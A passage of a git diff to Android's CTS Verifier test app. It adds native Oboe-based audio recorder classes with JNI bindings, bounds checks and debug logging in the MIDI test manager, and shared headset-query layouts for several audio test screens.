+    AppCallbackAudioSink(JNIEnv *env, jobject callbackObj);
+
+    virtual void init(int numFrames, int numChannels) override;
+    virtual void start() override;
+    virtual void stop() override;
+
+    virtual void push(float* audioData, int numFrames, int numChannels) override;
+
+    void releaseJNIResources(JNIEnv *env);
+
+private:
+    // JNI Stuff
+    JavaVM* mJVM;
+    jobject mCallbackObj;
+    jmethodID mMIDonDataReady;
+
+    jfloatArray mAudioDataArray;
+    int mAudioDataArrayLength;
+};
+
+#endif //SMOKEPLAYER_APPCALLBACKAUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h
new file mode 100644
index 0000000..1d764a9
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/AudioSink.h
@@ -0,0 +1,31 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef SMOKEPLAYER_AUDIOSINK_H
+#define SMOKEPLAYER_AUDIOSINK_H
+
+class AudioSink {
+public:
+    virtual ~AudioSink() {}
+
+    virtual void init(int numFrames, int numChannels) {}
+    virtual void start() {}
+    virtual void stop() {}
+
+    virtual void push(float* audioData, int numFrames, int numChannels) = 0;
+};
+
+#endif //SMOKEPLAYER_AUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp
new file mode 100644
index 0000000..07d4325
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.cpp
@@ -0,0 +1,32 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "DefaultAudioSink.h"
+
+static const char * const TAG = "DefaultAudioSink";
+
+void DefaultAudioSink::start() {
+
+}
+
+void DefaultAudioSink::stop() {
+
+}
+
+void DefaultAudioSink::push(float* audioData, int numChannels, int numFrames) {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "process()");
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h
new file mode 100644
index 0000000..a0e9ed4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/DefaultAudioSink.h
@@ -0,0 +1,29 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_DEFAULTAUDIOSINK_H
+#define MEGA_RECORDER_DEFAULTAUDIOSINK_H
+
+#include "AudioSink.h"
+
+class DefaultAudioSink: public AudioSink {
+    virtual void start();
+    virtual void stop();
+
+    virtual void push(float* audioData, int numChannels, int numFrames) ;
+};
+
+#endif // EGA_RECORDER_DEFAULTAUDIOSINK_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp
new file mode 100644
index 0000000..7de76c8
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/NativeAudioSink.cpp
@@ -0,0 +1,62 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <jni.h>
+
+#include "AudioSink.h"
+
+//TODO - Probably wrap the JNI handling in a class with a pointer held in the Java Object
+// so as to support multiple instances... maybe.
+
+// JNI Stuff
+static float* sAudioBuffer;
+
+extern "C" {
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_initN(JNIEnv * env , jobject thiz,
+        jlong native_sink_ptr , jint num_frames, jint num_chans ) {
+    sAudioBuffer = new float[num_frames * num_chans];
+
+    // this is in the wrong place, or rather we need an init() method of AudioSink to call.
+    AudioSink* sink = (AudioSink*)native_sink_ptr;
+    sink->init(num_frames, num_chans);
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_startN(JNIEnv *env, jobject thiz, jlong native_sink_ptr) {
+    AudioSink* sink = (AudioSink*)native_sink_ptr;
+    sink->start();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_stopN(JNIEnv *env, jobject thiz, jlong native_sink_ptr) {
+    AudioSink* sink = (AudioSink*)native_sink_ptr;
+    sink->stop();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_NativeAudioSink_pushN(
+        JNIEnv *env, jobject thiz, jlong native_sink_ptr,
+        jfloatArray audio_data, jint num_frames, jint num_chans) {
+        AudioSink * audioSink = (AudioSink*)native_sink_ptr;
+
+    // convert to float[]
+    float* nativeAudioData = env->GetFloatArrayElements(audio_data, 0);
+
+    audioSink->push(nativeAudioData, num_frames, num_chans);
+}
+
+} // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp
new file mode 100644
index 0000000..8d249f1
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include "OboeRecorder.h"
+
+#include "AudioSink.h"
+
+static const char * const TAG = "OboeRecorder(native)";
+
+using namespace oboe;
+
+constexpr int32_t kBufferSizeInBursts = 2; // Use 2 bursts as the buffer size (double buffer)
+
+OboeRecorder::OboeRecorder(AudioSink* sink, int32_t subtype)
+        : Recorder(sink, subtype),
+          mInputPreset(-1)
+{}
+
+//
+// State
+//
+StreamBase::Result OboeRecorder::setupStream(
+    int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId)
+{
+    //TODO much of this could be pulled up into OboeStream.
+
+    std::lock_guard<std::mutex> lock(mStreamLock);
+
+    oboe::Result result = oboe::Result::ErrorInternal;
+    if (mAudioStream != nullptr) {
+        return ERROR_INVALID_STATE;
+    } else {
+        mChannelCount = channelCount;
+        mSampleRate = sampleRate;
+        mRouteDeviceId = routeDeviceId;
+
+        // Create an audio stream
+        AudioStreamBuilder builder;
+        builder.setChannelCount(mChannelCount);
+        builder.setSampleRate(mSampleRate);
+        builder.setCallback(this);
+        if (mInputPreset != DEFAULT_INPUT_NONE) {
+            builder.setInputPreset((enum InputPreset)mInputPreset);
+        }
+        builder.setPerformanceMode(PerformanceMode::LowLatency);
+        // builder.setPerformanceMode(PerformanceMode::None);
+        builder.setSharingMode(SharingMode::Exclusive);
+        builder.setSampleRateConversionQuality(SampleRateConversionQuality::None);
+        builder.setDirection(Direction::Input);
+
+        if (mRouteDeviceId != -1) {
+            builder.setDeviceId(mRouteDeviceId);
+        }
+
+        mAudioSink->init(mBufferSizeInFrames, mChannelCount);
+
+        if (mSubtype == SUB_TYPE_OBOE_AAUDIO) {
+            builder.setAudioApi(AudioApi::AAudio);
+        } else if (mSubtype == SUB_TYPE_OBOE_OPENSL_ES) {
+            builder.setAudioApi(AudioApi::OpenSLES);
+        }
+
+        result = builder.openStream(mAudioStream);
+        if (result != oboe::Result::OK){
+            __android_log_print(
+                    ANDROID_LOG_ERROR,
+                    TAG,
+                    "openStream failed. Error: %s", convertToText(result));
+        } else {
+            mBufferSizeInFrames = mAudioStream->getFramesPerBurst();
+        }
+    }
+
+    return OboeErrorToMegaAudioError(result);
+}
+
+StreamBase::Result OboeRecorder::startStream() {
+    StreamBase::Result result = Recorder::startStream();
+    if (result == OK) {
+        mAudioSink->start();
+    }
+    return result;
+}
+
+oboe::DataCallbackResult OboeRecorder::onAudioReady(
+        oboe::AudioStream *audioStream, void *audioData, int numFrames) {
+    mAudioSink->push((float*)audioData, numFrames, mChannelCount);
+    return oboe::DataCallbackResult::Continue;
+}
+
+#include <jni.h>
+
+extern "C" {
+JNIEXPORT jlong JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_allocNativeRecorder(JNIEnv *env, jobject thiz, jlong native_audio_sink, jint recorderSubtype) {
+    OboeRecorder* recorder = new OboeRecorder((AudioSink*)native_audio_sink, recorderSubtype);
+    return (jlong)recorder;
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getBufferFrameCountN(
+        JNIEnv *env, jobject thiz, jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->getNumBufferFrames();
+}
+
+JNIEXPORT void JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_setInputPresetN(JNIEnv *env, jobject thiz,
+                                                                   jlong native_recorder,
+                                                                   jint input_preset) {
+    ((OboeRecorder*)native_recorder)->setInputPreset(input_preset);
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_setupStreamN(JNIEnv *env, jobject thiz,
+                                                                   jlong native_recorder,
+                                                                   jint channel_count,
+                                                                   jint sample_rate,
+                                                                   jint route_device_id) {
+    return ((OboeRecorder*)native_recorder)->setupStream(channel_count, sample_rate, route_device_id);
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_teardownStreamN(
+    JNIEnv *env, jobject thiz, jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->teardownStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_startStreamN(JNIEnv *env, jobject thiz,
+                                                              jlong native_recorder,
+                                                              jint recorder_subtype) {
+    return ((OboeRecorder*)native_recorder)->startStream();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_stopN(JNIEnv *env, jobject thiz,
+                                                       jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->stopStream();
+}
+
+JNIEXPORT jboolean JNICALL
+        Java_org_hyphonate_megaaudio_recorder_OboeRecorder_isRecordingN(
+                JNIEnv *env, jobject thiz, jlong native_recorder) {
+    OboeRecorder* nativeRecorder = ((OboeRecorder*)native_recorder);
+    return nativeRecorder->isRecording();
+}
+
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getNumBufferFramesN(
+        JNIEnv *env, jobject thiz, jlong native_recorder) {
+    OboeRecorder* nativeRecorder = ((OboeRecorder*)native_recorder);
+    return nativeRecorder->getNumBufferFrames();
+}
+
+extern "C"
+JNIEXPORT jint JNICALL
+Java_org_hyphonate_megaaudio_recorder_OboeRecorder_getRoutedDeviceIdN(JNIEnv *env, jobject thiz, jlong native_recorder) {
+    return ((OboeRecorder*)native_recorder)->getRoutedDeviceId();
+}
+
+}   // extern "C"
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h
new file mode 100644
index 0000000..7b1e07a
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/OboeRecorder.h
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_OBOERECORDER_H
+#define MEGA_RECORDER_OBOERECORDER_H
+
+#include <mutex>
+
+#include <oboe/Oboe.h>
+
+#include "Recorder.h"
+
+class OboeRecorder: public oboe::AudioStreamCallback, public Recorder {
+public:
+    OboeRecorder(AudioSink* sink, int32_t recorderSubtype);
+    virtual ~OboeRecorder() {}
+
+    // Inherited from oboe::AudioStreamCallback
+    virtual oboe::DataCallbackResult onAudioReady(oboe::AudioStream *audioStream, void *audioData, int numFrames) override;
+//    virtual void onErrorAfterClose(oboe::AudioStream *oboeStream, oboe::Result error) override {}
+//    virtual void onErrorBeforeClose(oboe::AudioStream * oboeStream, oboe::Result error) override {}
+
+    // Inherited from Recorder
+    //
+    // State
+    //
+    virtual bool isRecording() override { return mStreamStarted; }
+
+    virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) override;
+
+    virtual Result startStream() override;
+
+    static const int DEFAULT_INPUT_NONE = -1;  // from Recorder.java
+    void setInputPreset(int inputPreset) { mInputPreset = inputPreset; }
+
+private:
+    int32_t mInputPreset;
+};
+
+#endif // MEGA_RECORDER_OBOERECORDER_H
diff --git a/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h b/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h
new file mode 100644
index 0000000..c9357ad
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/recorder/Recorder.h
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_RECORDER_RECORDER_H
+#define MEGA_RECORDER_RECORDER_H
+
+#include <OboeStream.h>
+
+class AudioSink;
+
+class Recorder: public OboeStream {
+public:
+    Recorder(AudioSink* sink, int subtype) : OboeStream(subtype), mAudioSink(sink) {}
+    virtual ~Recorder() {}
+
+    //
+    // State
+    //
+    virtual bool isRecording() = 0;
+
+protected:
+    std::shared_ptr<AudioSink>    mAudioSink;
+};
+
+#endif // MEGA_RECORDER_RECORDER_H
diff --git a/apps/CtsVerifier/jni/midi/Android.bp b/apps/CtsVerifier/jni/midi/Android.bp
index 67ba782..0928406 100644
--- a/apps/CtsVerifier/jni/midi/Android.bp
+++ b/apps/CtsVerifier/jni/midi/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsnativemidi_jni",
     srcs: [
diff --git a/apps/CtsVerifier/jni/midi/MidiTestManager.cpp b/apps/CtsVerifier/jni/midi/MidiTestManager.cpp
index beececf..0981a9d 100644
--- a/apps/CtsVerifier/jni/midi/MidiTestManager.cpp
+++ b/apps/CtsVerifier/jni/midi/MidiTestManager.cpp
@@ -16,11 +16,13 @@
 #include <cstring>
 #include <pthread.h>
 #include <unistd.h>
+#include <stdio.h>
 
 #define TAG "MidiTestManager"
 #include <android/log.h>
 #define ALOGI(...) __android_log_print(ANDROID_LOG_INFO, TAG, __VA_ARGS__)
 #define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, TAG, __VA_ARGS__)
+#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, TAG, __VA_ARGS__)
 
 #include "MidiTestManager.h"
 
@@ -131,6 +133,20 @@
     mReceiveStreamPos = 0;
 }
 
+static void logBytes(uint8_t* bytes, int count) {
+    int buffSize = (count * 6) + 1; // count of "0x??, " + '\0';
+
+    char* logBuff = new char[buffSize];
+    for (int dataIndex = 0; dataIndex < count; dataIndex++) {
+        sprintf(logBuff + (dataIndex * 6), "0x%.2X", bytes[dataIndex]);
+        if (dataIndex < count - 1) {
+            sprintf(logBuff + (dataIndex * 6) + 4, ", ");
+        }
+    }
+    ALOGD("%s", logBuff);
+    delete[] logBuff;
+}
+
 /**
  * Compares the supplied bytes against the sent message stream at the current postion
  * and advances the stream position.
@@ -139,15 +155,32 @@
     if (DEBUG) {
         ALOGI("---- matchStream() count:%d", count);
     }
+
+    // a little bit of checking here...
+    if (count < 0) {
+        ALOGE("Negative Byte Count in MidiTestManager::matchStream()");
+        return false;
+    }
+
+    if (count > MESSAGE_MAX_BYTES) {
+        ALOGE("Too Large Byte Count (%d) in MidiTestManager::matchStream()", count);
+        return false;
+    }
+
     bool matches = true;
 
     for (int index = 0; index < count; index++) {
+        // Check for buffer overflow
+        if (mReceiveStreamPos >= mNumTestStreamBytes) {
+            ALOGD("matchStream() out-of-bounds @%d", mReceiveStreamPos);
+            matches = false;
+            break;
+        }
+
         if (bytes[index] != mTestStream[mReceiveStreamPos]) {
             matches = false;
-            if (DEBUG) {
-                ALOGI("---- mismatch @%d [%d : %d]",
-                        index, bytes[index], mTestStream[mReceiveStreamPos]);
-            }
+            ALOGD("---- mismatch @%d [%d : %d]",
+                    index, bytes[index], mTestStream[mReceiveStreamPos]);
         }
         mReceiveStreamPos++;
     }
@@ -155,6 +188,11 @@
     if (DEBUG) {
         ALOGI("  returns:%d", matches);
     }
+
+    if (!matches) {
+        ALOGD("Mismatched Received Data:");
+        logBytes(bytes, count);
+    }
     return matches;
 }
 
diff --git a/apps/CtsVerifier/jni/midi/MidiTestManager.h b/apps/CtsVerifier/jni/midi/MidiTestManager.h
index c594efa..d85420d 100644
--- a/apps/CtsVerifier/jni/midi/MidiTestManager.h
+++ b/apps/CtsVerifier/jni/midi/MidiTestManager.h
@@ -44,6 +44,7 @@
     uint8_t*   mTestStream;
     int     mNumTestStreamBytes;
     int     mReceiveStreamPos;
+    static const int MESSAGE_MAX_BYTES = 1024;
 
     AMidiInputPort* mMidiSendPort;
     AMidiOutputPort* mMidiReceivePort;
@@ -65,6 +66,7 @@
     static const int TESTSTATUS_FAILED_DEVICE = 5;
     static const int TESTSTATUS_FAILED_JNI = 6;
 
+
     bool StartReading(AMidiDevice* nativeReadDevice);
     bool StartWriting(AMidiDevice* nativeWriteDevice);
 };
diff --git a/apps/CtsVerifier/jni/verifier/Android.bp b/apps/CtsVerifier/jni/verifier/Android.bp
index b6d1ed0..b5665a9 100644
--- a/apps/CtsVerifier/jni/verifier/Android.bp
+++ b/apps/CtsVerifier/jni/verifier/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsverifier_jni",
     srcs: [
diff --git a/apps/CtsVerifier/res/layout/audio_dev_notify.xml b/apps/CtsVerifier/res/layout/audio_dev_notify.xml
index aa6d3c4..6fa178d 100644
--- a/apps/CtsVerifier/res/layout/audio_dev_notify.xml
+++ b/apps/CtsVerifier/res/layout/audio_dev_notify.xml
@@ -21,35 +21,11 @@
         style="@style/RootLayoutPadding">
 
         <LinearLayout
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        android:orientation="vertical">
-
-        <TextView
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
-            android:scrollbars="vertical"
-            android:gravity="bottom"
-            android:id="@+id/audio_general_headset_port_exists"
-            android:text="@string/audio_general_headset_port_exists" />
+            android:orientation="vertical">
 
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="horizontal">
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_no"
-                android:text="@string/audio_general_headset_no" />
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_yes"
-                android:text="@string/audio_general_headset_yes" />
-        </LinearLayout>
+        <include layout="@layout/audio_wired_query_layout" />
 
     <TextView
       android:layout_width="match_parent"
diff --git a/apps/CtsVerifier/res/layout/audio_frequency_line_activity.xml b/apps/CtsVerifier/res/layout/audio_frequency_line_activity.xml
index 41292d1..3ae6d43 100644
--- a/apps/CtsVerifier/res/layout/audio_frequency_line_activity.xml
+++ b/apps/CtsVerifier/res/layout/audio_frequency_line_activity.xml
@@ -30,40 +30,7 @@
             android:layout_height="wrap_content"
             android:orientation="vertical"
         >
-            <TextView
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:scrollbars="vertical"
-                android:gravity="bottom"
-                android:id="@+id/audio_general_headset_port_exists"
-                android:text="@string/audio_general_headset_port_exists" />
-
-            <LinearLayout
-                android:layout_width="match_parent"
-                android:layout_height="wrap_content"
-                android:orientation="horizontal"
-            >
-
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_general_headset_no"
-                    android:text="@string/audio_general_headset_no"
-                    android:nextFocusForward="@+id/audio_general_headset_yes"
-                    android:nextFocusDown="@+id/audio_frequency_line_plug_ready_btn"
-                    android:nextFocusRight="@+id/audio_general_headset_yes"/>
-
-                <Button
-                    android:layout_width="wrap_content"
-                    android:layout_height="wrap_content"
-                    android:id="@+id/audio_general_headset_yes"
-                    android:text="@string/audio_general_headset_yes"
-                    android:nextFocusForward="@+id/audio_frequency_line_plug_ready_btns"
-                    android:nextFocusDown="@+id/audio_frequency_line_plug_ready_btn"
-                    android:nextFocusLeft="@+id/audio_general_headset_no"
-                    android:nextFocusRight="@+id/audio_frequency_line_plug_ready_btn" />
-
-            </LinearLayout>
+            <include layout="@layout/audio_wired_query_layout" />
 
             <TextView
                 android:layout_width="match_parent"
diff --git a/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml b/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml
new file mode 100644
index 0000000..005c5e6
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_headset_audio_activity.xml
@@ -0,0 +1,149 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+
+        <!-- Has Headset Buttons -->
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+            <TextView
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:text="@string/analog_headset_query"/>
+            <LinearLayout
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:orientation="horizontal"
+                android:layout_marginLeft="10dp">
+                <Button
+                    android:text="@string/audio_general_yes"
+                    android:layout_width="wrap_content"
+                    android:layout_height="match_parent"
+                    android:id="@+id/headset_analog_port_yes"/>
+                <Button
+                    android:text="@string/audio_general_no"
+                    android:layout_width="wrap_content"
+                    android:layout_height="match_parent"
+                    android:id="@+id/headset_analog_port_no"/>
+            </LinearLayout>
+        </LinearLayout>
+
+        <!-- Device Connection -->
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/headset_analog_name"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/headset_analog_plug_message"/>
+
+        <!-- Player Controls -->
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal"
+            android:layout_marginLeft="10dp">
+            <Button
+                android:text="@string/analog_headset_play"
+                android:layout_width="wrap_content"
+                android:layout_height="match_parent"
+                android:id="@+id/headset_analog_play"/>
+            <Button
+                android:text="@string/analog_headset_stop"
+                android:layout_width="wrap_content"
+                android:layout_height="match_parent"
+                android:id="@+id/headset_analog_stop"/>
+        </LinearLayout>
+    </LinearLayout>
+
+    <!-- Playback Status -->
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/analog_headset_success_question"/>
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal"
+            android:layout_marginLeft="10dp">
+            <Button
+                android:text="@string/audio_general_yes"
+                android:layout_width="wrap_content"
+                android:layout_height="match_parent"
+                android:id="@+id/headset_analog_play_yes"/>
+            <Button
+                android:text="@string/audio_general_no"
+                android:layout_width="wrap_content"
+                android:layout_height="match_parent"
+                android:id="@+id/headset_analog_play_no"/>
+        </LinearLayout>
+    </LinearLayout>
+
+    <!-- Keycodes -->
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="@string/analog_headset_keycodes_label"/>
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal"
+            android:layout_marginLeft="10dp">
+            <TextView
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/analog_headset_headsethook"
+                android:paddingHorizontal="10dp"
+                android:id="@+id/headset_keycode_headsethook"/>
+            <TextView
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/analog_headset_volup"
+                android:paddingHorizontal="10dp"
+                android:id="@+id/headset_keycode_volume_up"/>
+            <TextView
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/analog_headset_voldown"
+                android:paddingHorizontal="10dp"
+                android:id="@+id/headset_keycode_volume_down"/>
+        </LinearLayout>
+    </LinearLayout>
+    <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml b/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml
index e09475c..16943c9 100644
--- a/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml
+++ b/apps/CtsVerifier/res/layout/audio_input_routingnotifications_test.xml
@@ -25,31 +25,7 @@
         android:layout_height="wrap_content"
         android:orientation="vertical">
 
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:scrollbars="vertical"
-            android:gravity="bottom"
-            android:id="@+id/audio_general_headset_port_exists"
-            android:text="@string/audio_general_headset_port_exists" />
-
-        <LinearLayout
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:orientation="horizontal">
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_no"
-                android:text="@string/audio_general_headset_no" />
-
-            <Button
-                android:layout_width="wrap_content"
-                android:layout_height="wrap_content"
-                android:id="@+id/audio_general_headset_yes"
-                android:text="@string/audio_general_headset_yes" />
-        </LinearLayout>
+    <include layout="@layout/audio_wired_query_layout" />
 
     <TextView
       android:layout_width="match_parent"
diff --git a/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml b/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml
index dc55e2a..1cdb131 100644
--- a/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml
+++ b/apps/CtsVerifier/res/layout/audio_output_routingnotifications_test.xml
@@ -25,32 +25,7 @@
         android:layout_height="wrap_content"
         android:orientation="vertical">
 
-        <TextView
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:scrollbars="vertical"
-            android:gravity="bottom"
-            android:id="@+id/audio_general_headset_port_exists"
-            android:text="@string/audio_general_headset_port_exists" />
-
-        <LinearLayout
